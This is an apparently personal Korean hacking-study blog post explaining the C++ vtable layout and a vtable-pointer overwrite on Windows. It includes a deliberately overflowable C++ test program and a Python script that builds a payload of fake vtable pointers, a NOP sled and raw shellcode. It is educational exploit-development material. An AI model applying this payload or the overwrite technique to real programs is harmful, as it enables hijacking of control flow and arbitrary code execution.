-
Virtual Table(Vtable), OverwriteHack/Windows 2016. 6. 2. 00:03
Vtable은 C++에서의 virtual 메소드를 사용해 함수를 만들어줄때 생기는 테이블이에요
Vtable이 어떻게 생겼냐면, 우선 객체가 있을거니까, 객체가 메모리를 할당할거에요
객체가 만약, malloc 으로 인해 할당을한다면 Heap에 객체가 만들어질꺼고, 그냥 할당을해준다면 스택에서 만들어질거에요
힙/스택에 객체의 포인터가 존재할거에요 근데 그 포인터는 또 Vtable을 가리키는 포인터가 존재할거에요 그리고 뒤쪽엔 할당해준 변수, 즉 멤버들이 존재하겠죠
그리고 Vtable을 가리키고 있는 포인터가 있으니까 그 포인터는 Vtable의 첫번째 함수포인터를 가리키고 함수포인터는 메소드를 실행해줄거에요
대충 코드를 짜서 올리디버거로 생긴 꼬락서니를 볼거에요
#include <string> #include <cstdlib> #include <iostream> using namespace std; class Book { private: char name[100]; int page; public: Book(char * _name, int _page) { strcpy(name, _name); page = _page; } virtual void setName(char *input) { char *buf = (char*)malloc(20); strcpy(buf, input); printname(buf); getName(); } virtual void printname(char *buf) { printf("name : %s", buf); } virtual char * getName() { return name; } }; int main(int argc, char *argv[]) { static char contents[1000] = { 0, }; static Book mybook("windows_hacking", 1); printf("object addr : 0x%x\n", &mybook); printf("object vtable addr : 0x%p\n", mybook); printf("buf addr : 0x%x\n", &contents); FILE *f = fopen(argv[1], "r"); fgets(contents, 1500, f); mybook.setName(contents); return 0; }
코드에는 오버플로우 벡터와 virtual 메소드로 선언된 함수들이 존재해요 그럼 Vtable이 만들어져있을거에요
메인함수에서 오버플로우가 나기직전에 브레이크포인트를 걸어주고 실행해보고 구경좀해볼게요
객체의 주소는 0x404840인데, 여기에는 Vtable을 가리키는 포인터가 존재할거에요 그 주소는 0x403250이 되겠네요, 그리고 그 뒤엔 저희가 전달해준 windows_hacking이라는 문자열과 페이지변수로 넘겨준 1이란 값이 있을거에요 .
그리고 전체적으로 주소를보면 버퍼는 객체의 주소보다 낮아서 오버플로우를해준다면 충분히 포인터를 덮어줄수있고 포인터를 덮어준다면 Vtable로 가는 포인터가 조작되어 이상한곳으로 뛰게되겠죠
일단 스택의 현황을 볼게요
첫번째엔 Vtable을 가리키는 포인터주소가 존재하고, 그뒤엔 차차 멤버가있어요, name 멤버는 버퍼크기가 100바이트이기때문에 100바이트뒤에 page 변수로, 01 00 00 00이 존재하네요
그리고 함수포인터 주소들이 존재해요. 첫번째 함수포인터는 0x4012a0이란 값의 포인터를 가지고있는데 해당코드가 무슨 역할을 하는지 구경해볼게요
이러한 코드를가지고있어요. 딱보니까, 이건 첫번째 Virtual 함수인 setName의 함수내부네요.
그리고 저게실행된다면, 그 다음의 함수포인터인 0x4012E0주소가 있는데, 보게되면 printname의 가상함수가 존재할거에요 그리고 0x401300에 존재하는 getName()함수가 존재하겠죠
이렇게 구성되어있는것을 알수있고, 간단하게 정리해보자면
Vtables
객체PTR --> Vtable PTR --> Func PTR1 --> function code
Func PTR2 --> function code
Func PTR3 --> function code
이런형태로 존재하네요
그리고 익스플로잇을한다면 버퍼주소는 낮은주소에있으니까 충분한 버퍼크기만있다면 오버플로우가 가능하겠네요
import struct import os,sys,time from subprocess import * p = lambda x:struct.pack("<L",x) up = lambda x:struct.unpack("<L",x) shellcode = "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a\x1c\x39\xbd" dummy = "\x90"*100 fake = p(0x404450) fake2 = p(0x404454) fake3 = p(0x404458) dummy2 = "A"*(1008 -len(fake2+fake3+dummy+shellcode)) payload = fake2 + fake3 + dummy + shellcode + dummy2 + fake f = open("test2.txt","w") f.write(payload) f.close()
'Hack > Windows' 카테고리의 다른 글
Windows RTL (0) 2016.06.02 SafeSEH 우회 (0) 2016.06.02 SEH Overwrite (0) 2016.06.01 SEH(Structured Exception Handling) (0) 2016.06.01 Windows BOF (ASLR) (0) 2016.06.01